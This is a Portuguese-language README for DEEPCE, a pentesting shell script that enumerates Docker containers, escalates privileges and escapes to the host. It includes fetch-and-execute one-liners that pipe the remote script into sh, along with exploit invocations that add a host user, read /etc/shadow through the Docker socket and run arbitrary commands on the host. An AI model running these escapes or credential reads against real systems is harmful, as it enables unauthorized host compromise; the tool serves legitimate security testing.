
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Enumeração de Docker, Escalação de Privilégios e Escapes de Containers (DEEPCE)
Para ser compatível com o número máximo de containers, o DEEPCE é escrito em sh puro, sem dependências. Ele fará uso de ferramentas adicionais como curl, nmap, nslookup e dig, se disponíveis, mas na maior parte não depende delas para a enumeração.
Nenhuma das enumerações deve tocar no disco; no entanto, a maioria dos exploits cria novos containers, o que causará gravações no disco, e alguns exploits sobrescreverão o runC, o que pode ser destrutivo. Portanto, tenha cuidado!
Veja abaixo uma lista das enumerações, exploits e payloads que o DEEPCE pode usar. Se você tiver ideias para mais, por favor, abra uma issue no github!
O DEEPCE pode ser baixado para um host ou container usando um dos seguintes one-liners. Dica: baixe para /dev/shm para evitar tocar no disco.
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Ou usando python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
Se você ama o que estou fazendo com o Deepce e meus outros projetos, agora você pode apoiar meu trabalho diretamente! Ao me comprar um café ☕, você não está apenas alimentando minha necessidade de cafeína – está me ajudando a dedicar mais tempo ao desenvolvimento e melhoria desses projetos de código aberto. Cada café conta e traz mais inovação para o mundo da cibersegurança. Obrigado pelo seu apoio – ele significa o mundo para mim e para a comunidade de código aberto!
Para mais, veja a pasta docs

A seguir está a lista de enumerações realizadas pelo DEEPCE.
Para cada um dos exploits acima, payloads podem ser definidos para explorar o sistema host. Estes incluem:
# Torne o script executável e então execute-o
chmod +x ./deepce.sh
./deepce.sh
Os exemplos a seguir mostram os diferentes tipos de exploits que podem ser realizados e os payloads disponíveis.
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
/etc/shadow./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
É possível baixar e executar o deepce sem tocar no disco; no entanto, você não conseguirá definir argumentos facilmente (a manipulação direta de variáveis é possível usando export).
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
Existem ótimos scripts de enumeração/escape de containers e ferramentas de enumeração dos quais tirei inspiração ao escrever isto. No entanto, senti a necessidade de escrever um puramente em sh para evitar ter que instalar dependências go / ruby ou depender de um binário estático. Também queria poder realizar mais enumerações para tentar descobrir o que é o container docker, pois durante um teste podemos acabar dentro de um container desconhecido. A quantidade de coisas que este script pode enumerar fugiu do meu controle, pois toda vez que eu adicionava algo novo, pensava em mais coisas adicionais que poderia adicionar.
Desenvolvedores procurando dicas de segurança Docker https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md
Aceito pull requests, issues e feedback.